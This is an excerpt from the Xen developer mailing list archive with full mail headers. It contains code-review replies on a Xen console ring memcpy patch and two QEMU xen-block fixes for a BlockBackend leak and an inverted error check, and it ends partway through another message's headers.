Message-ID: <d8870af9-6fc1-4c5f-9858-16dad1401d2f@citrix.com>
Date: Fri, 17 Jul 2026 23:01:27 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, anthony.perard@vates.tech,
 jbeulich@suse.com, julien@xen.org, michal.orzel@amd.com,
 roger.pau@citrix.com, sstabellini@kernel.org
Subject: Re: [PATCH v7 2/7] xen/console: use memcpy() in console_init_ring()
To: dmukhin@ford.com, xen-devel@lists.xenproject.org
References: <20260713181619.672176-1-dmukhin@ford.com>
 <20260713181619.672176-3-dmukhin@ford.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 V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f8bgaqGDzrv3TfYjwqayRFcMf7xJaL9xXedMcAEQEAAcLB
 XwQYAQgACQUCUuE2fwIbDAAKCRBlw/kGpdefoG4XEACD1Qf/er8EA7g23HMxYWd3FXHThrVQ
 HgiGdk5Yh632vjOm9L4sd/GCEACVQKjsu98e8o3ysitFlznEns5EAAXEbITrgKWXDDUWGYxd
 pnjj2u+GkVdsOAGk0kxczX6s+VRBhpbBI2PWnOsRJgU2n10PZ3mZD4Xu9kU2IXYmuW+e5KCA
 vTArRUdCrAtIa1k01sPipPPw6dfxx2e5asy21YOytzxuWFfJTGnVxZZSCyLUO83sh6OZhJkk
 b9rxL9wPmpN/t2IPaEKoAc0FTQZS36wAMOXkBh24PQ9gaLJvfPKpNzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <20260713181619.672176-3-dmukhin@ford.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P123CA0258.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:194::11) To IA1PR03MB8288.namprd03.prod.outlook.com
 (2603:10b6:208:59e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA1PR03MB8288:EE_|SA3PR03MB7467:EE_
X-MS-Office365-Filtering-Correlation-Id: f923356c-0931-4d61-9f30-08dee44ef559
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|376014|1800799024|366016|18002099003|4143699003|11063799006|56012099006|6133799003|10067099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	ccFbLD/wyY9shVMwprUZTv00jfod3VUoTKfg0aUt0yGpnOz/NG9QuuqzvoX7p8ZmbX5enOxCgA2eLCcpZ7Yh5+/Tx3MjD0CY2jwRAJXXKr3uctn1zYkZgk6+Yd5pEYGXLbkuW4vHqzUP9VGY5IAFlzk0IMb+Ub/8vLWw/TWhbTDsTJG1X/dvmoBdGjvE38zfquTDHpLeTOS7W7x1we/KY8as657XGWoKn2hzoV0AbRjzpUWUOqRS8YejeuN+KDieRx5Os3HRzE8aMzAeOfk0In/8s0Lq9d7dWEUK8mk8Ddq6FBlEOITHs0y3ARGiabP4+Zp3yM3+z9uYL9yTBVS6g8iWm0UcDffGylFGJPg2e8KZpwNdxwoAJp3fxm1HG0XnQrqXjsDNLEMhOyYSqd9mchytCPXSGQhWVnauTlacjDB3ki5OAHQhTSkAtel2jw9o5kPUgVxNhjxuSYc637UlgyLh86yJNNWY3A2koyTfVaqZa2d/+ofKHG0EPAv+p2xMAQiN9FnpzlpuOMHcdjMHC2KD/8aqYCcWTm5WUPHD3rUT+4IKP+vv/oGAN8ntnQcm6rhxXS4wifjypaKgTwdSRrbESrK3DE+bIEGqQ+iDfOZY/UcoETRWxRZd5JqrA0j0f9R/gAphVoIARK75ZGs0WcrrNCJ7VU/q8hXK2nGGUIg=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA1PR03MB8288.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(376014)(1800799024)(366016)(18002099003)(4143699003)(11063799006)(56012099006)(6133799003)(10067099003)(22082099003);DI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1RBc1Q3MVVDeEZmT0dTM2c3WmRZNzJVSXlXY3Iw?=
 =?utf-8?B?VVBQbno4Tno5emd2MndQTHZWWlZkZXl6ZEhPSEw1WjcxblpGaTZVblRJMldZ?=
 =?utf-8?B?ZWoxNExEVGEyRUN0RDlEY1NXQkJoamJkSUZKSFFzaWtmYkZEYzNZc2VsZEY3?=
 =?utf-8?B?VEgvSXkxME8vOGU0NGdRamJRVWo5RjI2N1A4R1FmVDRTeW9PZFlMbzQ2Q3Fm?=
 =?utf-8?B?UUg2NmJOYUVpTXVJdE54eC9TRGQxckFKWmV4N2hCWFV1V0hlMGtieHQzeWdD?=
 =?utf-8?B?ak8xN0NRaHlpN21ZbDVJbTlGQWtuN3pFUE5nK3ZFNEliQzBkanJOalB4NGx4?=
 =?utf-8?B?Z2ZzUzlITXF2VmgySGxvT1lqQnRSTndSQy94ZnRBZUlHOWZsODJxVWt2Y3c2?=
 =?utf-8?B?OCt5N1NJQlhXNGJRdEN1KzhrdDdleFNHYmkxNzNJME93d0JnMTU5bGJsSG56?=
 =?utf-8?B?RkZPNmR2R0RqYmlERE9BdVJxUFAvcUlpS3pmNFl2YlRPTEZEL1NnZnBBSjZK?=
 =?utf-8?B?eGROMkQ3N24zaFBtY3JJdk9KV1FLcG9wQU80L0VrZ21yL0VBcGlZV0xKU2F1?=
 =?utf-8?B?cTBvZmhOdXpLSU9WQVdXNWIyWmdTZ3dLMXFEdG1WK3UrRnl5MUNsc3lOYUsy?=
 =?utf-8?B?WDRXeDhaZGF6NGZGVjhHYThpbWZPdUdYWnVJRkkvNDViZkZWcHhDQT09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: f923356c-0931-4d61-9f30-08dee44ef559
X-MS-Exchange-CrossTenant-AuthSource: IA1PR03MB8288.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 17 Jul 2026 22:01:30.9462
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: 87Ep6TBt2PhheSvUlkSdcYr7B9Gbg0+cYEZLWy/Ax9p4+z159AKjw4RfgW0EzUlsUU/CbaXxMarRMk8qwOOs1BQ6h2WdcoyaY5pnJgv75vQ=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SA3PR03MB7467
X-purgate-ID: tlsNG-ebf023/1784325697-C06DAB50-571C2F35/0/0
X-purgate-type: clean
X-purgate-size: 2111

On 13/07/2026 7:16 pm, dmukhin@ford.com wrote:
> From: Denis Mukhin <dmukhin@ford.com> 
>
> Make console_init_ring() more efficient by using memcpy()'s, rather than
> copying the ring a byte at a time.
>
> No functional change intended.
>
> Suggested-by: Andrew Cooper <andrew.cooper3@citrix.com>
> Signed-off-by: Denis Mukhin <dmukhin@ford.com>
> Acked-by: Roger Pau Monne <roger.pau@citrix.com>
> ---
> Changes since v6:
> - addressed Roger's feedback
> - added Roger's A-b
> ---
>  xen/drivers/char/console.c | 18 +++++++++++++++---
>  1 file changed, 15 insertions(+), 3 deletions(-)
>
> diff --git a/xen/drivers/char/console.c b/xen/drivers/char/console.c
> index 5ebbbf63c092..37ea84403180 100644
> --- a/xen/drivers/char/console.c
> +++ b/xen/drivers/char/console.c
> @@ -463,7 +463,8 @@ static void cf_check conring_dump_keyhandler(unsigned char key)
>  void __init console_init_ring(void)
>  {
>      char *ring;
> -    unsigned int i, order, memflags;
> +    XENCONS_RING_IDX done, size, n;
> +    unsigned int order, memflags;
>      unsigned long flags;
>  
>      if ( !opt_conring_size )
> @@ -479,8 +480,19 @@ void __init console_init_ring(void)
>      opt_conring_size = PAGE_SIZE << order;
>  
>      nrspin_lock_irqsave(&console_lock, flags);
> -    for ( i = conringc ; i != conringp; i++ )
> -        ring[i & (opt_conring_size - 1)] = conring[i & (conring_size - 1)];
> +
> +    size = conringp - conringc;
> +    for ( done = 0; done < size; done += n )
> +    {
> +        XENCONS_RING_IDX src = (conringc + done) & (conring_size - 1);
> +        XENCONS_RING_IDX dst = (conringc + done) & (opt_conring_size - 1);

I see this has been committed, but the use of XENCONS_RING_* is wrong
here.Â  This ring is not a XENCONS ring, and that header is almost
straight obfuscation.

The types obscure what's going on, including the fact that this logic is
unsafe with a 4G ring.Â  And while that might be a legitimate
implementation restriction, it needs to be obvious in the code.

These want to move back to being unsigned int.

~Andrew


From xen-devel-bounces@lists.xenproject.org Sat Jul 18 01:16:42 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 18 Jul 2026 01:16:42 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1365286.1615849 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wktfQ-0002Uk-4F; Sat, 18 Jul 2026 01:16:36 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1365286.1615849; Sat, 18 Jul 2026 01:16:36 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wktfQ-0002Ud-1M; Sat, 18 Jul 2026 01:16:36 +0000
Received: by outflank-mailman (input) for mailman id 1365286;
 Sat, 18 Jul 2026 01:16:35 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <sstabellini@kernel.org>) id 1wktfP-0002UO-Cb
 for xen-devel@lists.xenproject.org; Sat, 18 Jul 2026 01:16:35 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wktfO-00Auux-Pq
 for xen-devel@lists.xenproject.org; Sat, 18 Jul 2026 03:16:34 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <sstabellini@kernel.org>)
 id 6a5ad3bf-2eae-0a2a0a5409dd-0a2a4506c4c8-26
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 03:16:34 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <sstabellini@kernel.org>)
 id 6a5ad3f1-195a-0a2a45060019-aceafc1fcb78-3
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 03:16:34 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id 19D9B402FC;
 Sat, 18 Jul 2026 01:16:33 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id B1D611F000E9;
 Sat, 18 Jul 2026 01:16:32 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:From:To:cc:Subject:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1784337393;
	bh=KHg02DIbUTKS6NQg6D6XkUWG8UnTwJZwxWKhXo5hQLk=;
	h=Date:From:To:cc:Subject:In-Reply-To:References;
	b=LYWC45lYYN0mRmDAhGncgqU9iboDLKoEJHUDS+I/ueC+P5Eah3qyrUIk0elcjec4D
	 XZ5uD0efly5O8vAN5X5fEXxxi3VWNwzSv/o8JeW5T82YdtYI2o1TwPCp2HoU8+fQyM
	 hq+JOFj9YWW+1NtzJns10L/npkBFj1jtEM/1lFxuYbGx2VPibh7/yNP6xBfUKr4U+u
	 XJ9fRGFnoN5rBWGo2X85qeHYLYdSTt84Ldd+mnD20nQOeSZigs16kWdCEPg1WB9rbS
	 6pcbrnIu3ojR5XAOXyOwrTJYRKkK7hM7O1OTTB7R27KphM1ODYz4sulYVnDdyBJXvS
	 18xpprJ3+GNIQ==
Date: Fri, 17 Jul 2026 18:16:32 -0700 (PDT)
From: Stefano Stabellini <sstabellini@kernel.org>
X-X-Sender: sstabellini@ubuntu-linux-20-04-desktop
To: Mitsuru Kariya <Mitsuru.Kariya@oss.nttdata.com>
cc: qemu-devel@nongnu.org, Stefano Stabellini <sstabellini@kernel.org>, 
    Anthony PERARD <anthony@xenproject.org>, 
    "Edgar E. Iglesias" <edgar.iglesias@gmail.com>, 
    Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>, 
    "open list:X86 Xen CPUs" <xen-devel@lists.xenproject.org>, 
    "open list:Block layer core" <qemu-block@nongnu.org>
Subject: Re: [PATCH 3/4] xen-block: Fix BlockBackend leak on unplug of empty
 CD-ROM
In-Reply-To: <20260716170923.2125858-4-Mitsuru.Kariya@oss.nttdata.com>
Message-ID: <alpine.DEB.2.22.394.2607171816240.16921@ubuntu-linux-20-04-desktop>
References: <20260716170923.2125858-1-Mitsuru.Kariya@oss.nttdata.com> <20260716170923.2125858-4-Mitsuru.Kariya@oss.nttdata.com>
User-Agent: Alpine 2.22 (DEB 394 2020-01-19)
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-purgate-ID: tlsNG-16d1c6/1784337394-FCA0477B-7319D7B6/0/0
X-purgate-type: clean
X-purgate-size: 1521

On Fri, 17 Jul 2026, Mitsuru Kariya wrote:
> When a Xen CD-ROM is created without a backing drive (an empty CD-ROM),
> xen_cdrom_realize() allocates an anonymous BlockBackend for the empty
> drive with blk_new() and attaches it to the device using
> blk_attach_dev().
> 
> blk_new() returns the backend with refcnt == 1 (the creation reference
> owned by the caller) and blk_attach_dev() takes an additional reference
> for the device.  The creation reference was never released, so on
> unplug blk_detach_dev() only drops the device's reference and the
> BlockBackend is leaked.
> 
> Release the creation reference with blk_unref() right after
> blk_attach_dev(), matching the idiom already used in set_drive_helper()
> in hw/core/qdev-properties-system.c ("If we need to keep a reference,
> blk_attach_dev() took it").
> 
> Signed-off-by: Mitsuru Kariya <Mitsuru.Kariya@oss.nttdata.com>

Reviewed-by: Stefano Stabellini <sstabellini@kernel.org>


> ---
>  hw/block/xen-block.c | 1 +
>  1 file changed, 1 insertion(+)
> 
> diff --git a/hw/block/xen-block.c b/hw/block/xen-block.c
> index abf9df2eee..e5e14e47ee 100644
> --- a/hw/block/xen-block.c
> +++ b/hw/block/xen-block.c
> @@ -763,6 +763,7 @@ static void xen_cdrom_realize(XenBlockDevice *blockdev, Error **errp)
>  
>          rc = blk_attach_dev(conf->blk, DEVICE(blockdev));
>          assert(rc == 0);
> +        blk_unref(conf->blk);
>      }
>  
>      blockdev->info = VDISK_READONLY | VDISK_CDROM;
> -- 
> 2.43.0
> 


From xen-devel-bounces@lists.xenproject.org Sat Jul 18 01:16:42 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 18 Jul 2026 01:16:42 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1365284.1615840 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wktfK-0002Hd-UO; Sat, 18 Jul 2026 01:16:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1365284.1615840; Sat, 18 Jul 2026 01:16:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wktfK-0002HU-QU; Sat, 18 Jul 2026 01:16:30 +0000
Received: by outflank-mailman (input) for mailman id 1365284;
 Sat, 18 Jul 2026 01:16:29 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <sstabellini@kernel.org>) id 1wktfJ-0002HN-D1
 for xen-devel@lists.xenproject.org; Sat, 18 Jul 2026 01:16:29 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wktfD-00Auux-QB
 for xen-devel@lists.xenproject.org; Sat, 18 Jul 2026 03:16:28 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <sstabellini@kernel.org>)
 id 6a5ad3bf-2eae-0a2a0a5409dd-0a2a4506c4c8-20
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 03:16:23 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <sstabellini@kernel.org>)
 id 6a5ad3e6-195a-0a2a45060019-aceafc1fe698-3
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 03:16:23 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id 92F414397A;
 Sat, 18 Jul 2026 01:16:21 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 36EFB1F000E9;
 Sat, 18 Jul 2026 01:16:21 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:From:To:cc:Subject:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1784337381;
	bh=a+ejCJXZ8E0G5TxHT1XlkLEgo05f1WOmKU9FYIQKbWU=;
	h=Date:From:To:cc:Subject:In-Reply-To:References;
	b=QPanwKEFzZl5ILlVGlSF5y5ZZj/mZLBBaba6Bzu9iuINnqeCJlY/NUz7Z4kUin7Ks
	 GUzkjZmFRNrfCMf24V4ljv3f6ofRNctUcQZxGiPaGMX5sXCfFKvYGDco7XtcbrGOrW
	 hDicv29rwfAAcJsVxLcdS+UmXmTMz6FCVYKef4ptLe8X0ERaHVhr9TYcdWUmMrr7BO
	 aekZH6iZfyM0yJl5UxZ6XvmdWux5DWIdahFejwSckPrx/XcVphtuqVJNknSzyRg0EB
	 L8EDh4u5hXDpXRZP1WzfgqCFFdJdk/ZYAoQtjZFvkK5ExNSxh2Iz1JbnkTc2BxA4UU
	 tRXKJgXTIviVQ==
Date: Fri, 17 Jul 2026 18:16:21 -0700 (PDT)
From: Stefano Stabellini <sstabellini@kernel.org>
X-X-Sender: sstabellini@ubuntu-linux-20-04-desktop
To: Mitsuru Kariya <Mitsuru.Kariya@oss.nttdata.com>
cc: qemu-devel@nongnu.org, Stefano Stabellini <sstabellini@kernel.org>, 
    Anthony PERARD <anthony@xenproject.org>, 
    "Edgar E. Iglesias" <edgar.iglesias@gmail.com>, 
    Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>, 
    "open list:X86 Xen CPUs" <xen-devel@lists.xenproject.org>, 
    "open list:Block layer core" <qemu-block@nongnu.org>
Subject: Re: [PATCH 2/4] xen-block: Fix inverted error check in
 xen_cdrom_realize()
In-Reply-To: <20260716170923.2125858-3-Mitsuru.Kariya@oss.nttdata.com>
Message-ID: <alpine.DEB.2.22.394.2607171816130.16921@ubuntu-linux-20-04-desktop>
References: <20260716170923.2125858-1-Mitsuru.Kariya@oss.nttdata.com> <20260716170923.2125858-3-Mitsuru.Kariya@oss.nttdata.com>
User-Agent: Alpine 2.22 (DEB 394 2020-01-19)
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-purgate-ID: tlsNG-16d1c6/1784337383-FEE7677B-0593FD6C/0/0
X-purgate-type: clean
X-purgate-size: 1635

On Fri, 17 Jul 2026, Mitsuru Kariya wrote:
> xen_cdrom_realize() checks the return value of blk_attach_dev() with
> 
>     if (!rc) {
>         error_setg_errno(errp, -rc, "failed to create drive");
>         return;
>     }
> 
> but blk_attach_dev() returns 0 on success and a negative errno on
> failure.  The condition is inverted: a successful attach (rc == 0) is
> reported as an error and fails realize, while a real failure (rc < 0)
> is silently ignored.
> 
> Here blk_attach_dev() is called on a BlockBackend just created by
> blk_new(), so blk->dev is NULL and its only failure path (-EBUSY)
> cannot be taken.  Replace the bogus check with an assertion, matching
> the other empty-drive realize paths (scsi-disk, ide, fdc, swim).
> 
> Signed-off-by: Mitsuru Kariya <Mitsuru.Kariya@oss.nttdata.com>


Reviewed-by: Stefano Stabellini <sstabellini@kernel.org>

> ---
>  hw/block/xen-block.c | 5 +----
>  1 file changed, 1 insertion(+), 4 deletions(-)
> 
> diff --git a/hw/block/xen-block.c b/hw/block/xen-block.c
> index 474c12fe4a..abf9df2eee 100644
> --- a/hw/block/xen-block.c
> +++ b/hw/block/xen-block.c
> @@ -762,10 +762,7 @@ static void xen_cdrom_realize(XenBlockDevice *blockdev, Error **errp)
>          conf->blk = blk_new(qemu_get_aio_context(), 0, BLK_PERM_ALL);
>  
>          rc = blk_attach_dev(conf->blk, DEVICE(blockdev));
> -        if (!rc) {
> -            error_setg_errno(errp, -rc, "failed to create drive");
> -            return;
> -        }
> +        assert(rc == 0);
>      }
>  
>      blockdev->info = VDISK_READONLY | VDISK_CDROM;
> -- 
> 2.43.0
> 


From xen-devel-bounces@lists.xenproject.org Sat Jul 18 02:29:05 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 18 Jul 2026 02:29:05 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1365306.1615858 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkunF-0003pk-2g; Sat, 18 Jul 2026 02:28:45 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1365306.1615858; Sat, 18 Jul 2026 02:28:45 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkunE-0003pd-W4; Sat, 18 Jul 2026 02:28:44 +0000
Received: by outflank-mailman (input) for mailman id 1365306;
 Sat, 18 Jul 2026 02:28:43 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wkunC-0003pX-Bt
 for xen-devel@lists.xenproject.org; Sat, 18 Jul 2026 02:28:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkunA-00ANAH-9C
 for xen-devel@lists.xenproject.org; Sat, 18 Jul 2026 04:28:41 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a5ae4d3-5cb7-0a2a0a5109dd-0a2a4507da0a-0
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 04:28:35 +0200
Received: from [148.163.143.241] (helo=mx0b-00498f03.pphosted.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a5ae4d2-b4ea-0a2a45070019-94a38ff1e87c-3
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 04:28:35 +0200
Received: from pps.filterd (m0367127.ppops.net [127.0.0.1])
 by mx0b-00498f03.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66HNEiu63205630
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 02:28:33 GMT
Received: from cy7pr03cu001.outbound.protection.outlook.com
 (mail-westcentralusazon11010015.outbound.protection.outlook.com
 [40.93.198.15])
 by mx0b-00498f03.pphosted.com (PPS) with ESMTPS id 4ffwryrtq7-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 02:28:33 +0000 (GMT)
Received: from DS7P220CA0118.NAMP220.PROD.OUTLOOK.COM (2603:10b6:8:25f::9) by
 SA2PR16MB4218.namprd16.prod.outlook.com (2603:10b6:806:14a::9) with
 Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.223.12; Sat, 18 Jul 2026 02:28:30 +0000
Received: from DS1PEPF00017098.namprd05.prod.outlook.com
 (2603:10b6:8:25f:cafe::44) by DS7P220CA0118.outlook.office365.com
 (2603:10b6:8:25f::9) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.13 via Frontend Transport; Sat,
 18 Jul 2026 02:28:30 +0000
Received: from mx0a-00498f04.pphosted.com (205.220.161.53) by
 DS1PEPF00017098.mail.protection.outlook.com (10.167.18.102) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.245.5
 via Frontend Transport; Sat, 18 Jul 2026 02:28:28 +0000
Received: from pps.filterd (m0373460.ppops.net [127.0.0.1])
 by mx0a-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66HNIUrR3443664
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 22:28:27 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-usw.ser.proofpoint.com
 [50.112.124.217])
 by mx0a-00498f04.pphosted.com (PPS) with ESMTPS id 4fc6py043n-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 22:28:27 -0400 (EDT)
Received: from localhost ([19.12.92.221]) by cmsmtp with ESMTPSA
 id kumuw5fl2qFVlkumvwU9Hz; Sat, 18 Jul 2026 02:28:27 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=fail header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
